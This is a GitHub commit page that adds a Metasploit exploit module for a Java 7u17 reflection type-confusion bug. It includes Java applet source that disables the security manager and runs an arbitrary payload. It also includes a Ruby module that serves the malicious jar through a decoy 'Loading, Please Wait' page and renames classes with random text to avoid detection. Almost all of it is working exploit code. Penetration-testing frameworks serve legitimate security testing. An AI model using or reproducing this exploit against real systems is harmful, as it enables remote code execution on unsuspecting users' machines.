Skip to content

Commit 19f2e72

Browse files
jvazquez-r7wchen-r7
authored andcommitted
Added module for Java 7u17 sandboxy bypass
1 parent c7fcd69 commit 19f2e72

File tree

6 files changed

+208
-0
lines changed

6 files changed

+208
-0
lines changed

data/exploits/jre7u17/Exploit.class

1.76 KB
Binary file not shown.
624 Bytes
Binary file not shown.

data/exploits/jre7u17/Union1.class

246 Bytes
Binary file not shown.

data/exploits/jre7u17/Union2.class

241 Bytes
Binary file not shown.

external/source/jre7u17/Exploit.java

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
//Original PoC from Jeroen Frijters @Jeroen Frijters
2+
3+
import java.lang.invoke.MethodHandle;
4+
import java.lang.reflect.Field;
5+
import static java.lang.invoke.MethodHandles.lookup;
6+
import java.applet.Applet;
7+
import metasploit.Payload;
8+
9+
class Union1 {
10+
int field1;
11+
Object field2;
12+
}
13+
14+
class Union2 {
15+
int field1;
16+
SystemClass field2;
17+
}
18+
19+
class SystemClass {
20+
Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,
21+
f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,
22+
f24,f25,f26,f27,f28,f29,f30;
23+
}
24+
25+
public class Exploit extends Applet
26+
{
27+
28+
public Exploit()
29+
{
30+
}
31+
32+
static void disableSecurityManager() throws Throwable {
33+
MethodHandle mh1, mh2;
34+
mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class);
35+
mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class);
36+
Field fld1 = Union1.class.getDeclaredField("field1");
37+
Field fld2 = Union2.class.getDeclaredField("field1");
38+
Class classInt = int.class;
39+
Class classDouble = double.class;
40+
mh1.invokeExact(int.class);
41+
mh2.invokeExact((Class)null);
42+
Union1 u1 = new Union1();
43+
u1.field2 = System.class;
44+
Union2 u2 = new Union2();
45+
fld2.set(u2, fld1.get(u1));
46+
mh1.invokeExact(classDouble);
47+
mh2.invokeExact(classInt);
48+
if (u2.field2.f29 == System.getSecurityManager()) {
49+
u2.field2.f29 = null;
50+
} else if (u2.field2.f30 == System.getSecurityManager()) {
51+
u2.field2.f30 = null;
52+
} else {
53+
//System.out.println("security manager field not found");
54+
}
55+
}
56+
57+
public void init()
58+
{
59+
try
60+
{
61+
//System.out.println(System.getSecurityManager());
62+
disableSecurityManager();
63+
//System.out.println(System.getSecurityManager());
64+
//Runtime.getRuntime().exec("calc.exe");
65+
Payload.main(null);
66+
}
67+
catch(Exception exception)
68+
{
69+
//exception.printStackTrace();
70+
} catch(Throwable t) {
71+
//t.printStackTrace();
72+
}
73+
}
74+
75+
}
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::EXE
16+
17+
include Msf::Exploit::Remote::BrowserAutopwn
18+
autopwn_info({ :javascript => false })
19+
20+
def initialize( info = {} )
21+
22+
super( update_info( info,
23+
'Name' => 'Java Applet Reflection Type Confusion Remote Code Execution',
24+
'Description' => %q{
25+
This module abuses Java Reflection to generate a Type Confusion and run code
26+
outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier.
27+
This exploit doesn't bypass click-to-play, so the user must accept the java warning
28+
in order to run the malicious applet.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'Jeroen Frijters', # Vulnerability discovery and PoC
34+
'juan vazquez' # Metasploit module
35+
],
36+
'References' =>
37+
[
38+
[ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ]
39+
],
40+
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
41+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
42+
'Targets' =>
43+
[
44+
[ 'Generic (Java Payload)',
45+
{
46+
'Platform' => ['java'],
47+
'Arch' => ARCH_JAVA,
48+
}
49+
],
50+
[ 'Windows x86 (Native Payload)',
51+
{
52+
'Platform' => 'win',
53+
'Arch' => ARCH_X86,
54+
}
55+
],
56+
[ 'Mac OS X x86 (Native Payload)',
57+
{
58+
'Platform' => 'osx',
59+
'Arch' => ARCH_X86,
60+
}
61+
],
62+
[ 'Linux x86 (Native Payload)',
63+
{
64+
'Platform' => 'linux',
65+
'Arch' => ARCH_X86,
66+
}
67+
],
68+
],
69+
'DefaultTarget' => 0,
70+
'DisclosureDate' => 'Jan 10 2013'
71+
))
72+
end
73+
74+
75+
def setup
76+
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Exploit.class")
77+
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
78+
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union1.class")
79+
@union1_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
80+
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union2.class")
81+
@union2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
82+
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "SystemClass.class")
83+
@system_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
84+
85+
@exploit_class_name = rand_text_alpha("Exploit".length)
86+
@exploit_class.gsub!("Exploit", @exploit_class_name)
87+
super
88+
end
89+
90+
def on_request_uri(cli, request)
91+
print_status("handling request for #{request.uri}")
92+
93+
case request.uri
94+
when /\.jar$/i
95+
jar = payload.encoded_jar
96+
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
97+
jar.add_file("Union1.class", @union1_class)
98+
jar.add_file("Union2.class", @union2_class)
99+
jar.add_file("SystemClass.class", @system_class)
100+
metasploit_str = rand_text_alpha("metasploit".length)
101+
payload_str = rand_text_alpha("payload".length)
102+
jar.entries.each { |entry|
103+
entry.name.gsub!("metasploit", metasploit_str)
104+
entry.name.gsub!("Payload", payload_str)
105+
entry.data = entry.data.gsub("metasploit", metasploit_str)
106+
entry.data = entry.data.gsub("Payload", payload_str)
107+
}
108+
jar.build_manifest
109+
110+
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
111+
when /\/$/
112+
payload = regenerate_payload(cli)
113+
if not payload
114+
print_error("Failed to generate the payload.")
115+
send_not_found(cli)
116+
return
117+
end
118+
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
119+
else
120+
send_redirect(cli, get_resource() + '/', '')
121+
end
122+
123+
end
124+
125+
def generate_html
126+
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
127+
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
128+
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
129+
html += %Q|</applet></body></html>|
130+
return html
131+
end
132+
133+
end

0 commit comments

Comments
 (0)